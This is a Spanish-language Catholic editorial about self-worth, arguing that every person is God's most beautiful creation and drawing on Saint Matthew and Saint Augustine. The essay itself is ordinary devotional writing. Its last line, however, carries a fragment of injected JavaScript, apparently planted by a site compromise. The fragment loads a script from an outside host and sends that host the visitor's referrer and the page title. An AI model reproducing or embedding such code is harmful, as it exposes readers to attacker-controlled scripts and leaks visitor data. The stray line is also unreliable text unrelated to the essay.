Editorial 

Eres la más bella creación

Brenda Figueroa | Colaborado Editorial.

Parece existir una carrera interminable por ser el mejor posicionado en la sociedad. Ya sea por el estatus social, tener un cuerpo “perfecto”, ser el más inteligente, un aclamado famoso, etc. Sin embargo, lo que podemos ver si nos detenemos un poco, es que cada vez se encuentran menos personas que se sientan realmente felices y satisfechas consigo mismas. Por otro lado, quienes tienen a Dios y se guían por su Palabra, parecen excluirse de dicha realidad, pues llevan en su interior un tesoro incalculable. 

No todo lo que brilla es oro. Recuerdo muy bien esa frase que en innumerables ocasiones escuché a lo largo de mi vida. Es interesante observar la manera en que los seres humanos nos dejamos impresionar con tan poco, cuando en realidad somos polvo, somos criaturas de las manos de Dios. Bueno, esto ha venido con el pecado original; poseemos ese deseo interior de superioridad, así como una inclinación constante al egoísmo y orgullo. Pero eso no nos define, pues quien tiene al Señor busca incansablemente parecérsele; cierto es que el camino para alcanzarlo es estrecho y difícil pero ¡Cuántos santos tiene nuestra Iglesia que lo intentaron y lo lograron!

A veces parece que viviéramos con una venda atada sobre los ojos, que no nos dejara apreciar a los demás tal cuales son. Elevamos barreras en lugar de puentes; miramos por fuera sin desear conocer más a fondo; juzgamos sin conocer a base de pocos detalles. Todos hemos hecho esto, y me incluyo, pero ¿Por qué querer vivir así siempre? Nunca es tarde para enderezar el camino. No importa quién has sido, qué has hecho, qué situación vives. ¿Recuerdas a San Mateo? El publicano o colector de impuestos para los Romanos, odiado por muchos a causa de su trabajo. Cuando Jesús pasaba por ahí no le dijo: oye Mateo deberías avergonzarte de lo que haces, no hay salvación para ti, eres indigno de Mí. ¡Al contrario! fue animado a seguirlo y convertirse en su Apóstol -lugar privilegiado- junto a nuestro Señor Jesús. Él no miró su pasado, sino que consciente de su presente le abrió las puertas para un mejor futuro. Un porvenir que Mateo tenía que elegir libremente, pero la invitación estaba hecha.

No olvidemos que Dios nos ha creado con gran amor y dedicación, entonces, ¿Por qué creer que algunos son más que otros? Si a los ojos de tan cariñoso Padre, todos somos sus más bellas criaturas. En realidad, nos hemos dedicado a simplificarnos la vida definiendo por estándares comunes a los demás: bajos y altos, unos delgados otros no tanto, unos de estereotipo “guapo y perfecto”, otros imperfectos y “poco agraciados”, inteligentes y los que lo son poco, ricos y pobres, etc. Nos gusta tener todo bajo nuestro control que lo hemos metido en distintas cajas y etiquetas. Pero hay que saber que no es así para nuestro Señor.

A veces me pregunto lo que sería observar a las personas como Dios lo hace. Seguramente observa con detenimiento lo que hay en nuestros corazones: si estamos en gracia o en pecado mortal. Probablemente pasa gran parte de su tiempo escuchando con cariño nuestros pensamientos y tomando en cuenta el fervor de nuestros actos. Debe ser de gran relevancia a Sus ojos si elegiremos salvarnos o condenarnos. Y qué dolor debe sentir al observar la forma en que torcemos nuestros caminos por no conocerle. Me llena de cariño y ternura saber que aún en líneas torcidas por nosotros y nuestro pecado, Él intentará escribir derecho. Sin embargo, respetará hasta el último momento esa libertad con la que nos creó; el libre albedrío.

Sabes, cuando te dejas querer, cuando te dejas llevar por la corriente de Su Amor, comienzas a descubrir lugares, personas y sentimientos que no pensabas que existían. He experimentado, aunque sea en un pequeño nivel pues aún sigo aprendiendo, lo que es dejarlo todo en manos del Padre cariñoso que busca nuestro bien y con ello ¡Los grandes beneficios y alegrías que eso trae! Entre más confíes en Jesús y Mamita María, más aprenderás a amarlos, y créeme, buscarás una relación profunda con tan admirables amigos. Ellos no son como los amigos terrenales; imperfectos y que en ocasiones nos defraudan o traicionan. No. Puedes estar seguro de que la Virgen María y su Hijo no buscan otra cosa que tu propio bien y tenerte un día en el cielo para toda la eternidad. De manera que, si te dejas ayudar, te llenarán de herramientas para alcanzar la santidad con mayor facilidad. ¿A caso existe algo más bello que esto?

Sé que puede sonar radical, pero puedo asegurarte rotundamente que no hay felicidad sincera y arraigada en nuestros corazones, si ésta no tiene su raíz en Dios. Lo que viene del mundo se distingue por varias cosas: lleva consigo una fecha de caducidad, no hay garantías de que te hará feliz, además, te cobrará al final de tu vida la cuenta. Por ejemplo: el exceso de alcohol, la promiscuidad, el tabaco y la droga, la venganza como signo de poder, el exceso de autoridad que se convierte en tiranía, el ateísmo y vivir una vida sin Dios, por mencionar algunos. Nada de estos caminos te pueden dirigir hacia la plenitud que nuestro Padre pensó para nosotros. Es como si te aferraras a ir por una carretera que te lleva al Sur teniendo equivocadamente la certeza de que vas camino al Norte. ¿Cómo saber si estamos perdidos? La brújula es la relación que llevamos con Dios y el cumplimiento por amor que le damos a Su Palabra.

Considero que este escrito se resume en las palabras de San Agustín que dicen: “Nos hiciste Señor para ti, y nuestro corazón está inquieto, hasta que descanse en Ti”. No busquemos el tesoro de la libertad y el amor honesto en donde hay pecado y esclavitud. Recordemos constantemente que todos somos llamados para alcanzar la salvación eterna, pero y que la vida en Cristo es una vida llena de paz; y si hubiese tribulación se tiene por certeza que caminamos de la mano de Jesús y María.También, es un dar incondicionalmente; un camino estrecho pero seguro.

Es importante aprender esto: no todo tiene que ser brillante y llamativo para que tenga algún valor. Muchas veces el mejor de los tesoros se encuentra bajo la tierra sucia y lodosa que nadie se atrevería a excavar. De manera que, son muy pocos los que descubren con sus propias manos, la gran riqueza que yacía escondida. Pero si nos atrevemos a “excavar” en la vida de quienes consideramos poco importantes o pobres, descubriremos a Dios en sus ojos, pues Él habita en todos nosotros. Y cuando el mundo te quiera etiquetar y colocarte en una escala de valores mundanos, no te preocupes. Recuerda que tienes un Padre infinitamente Amoroso y Perfecto y que tú eres su más bella creación. s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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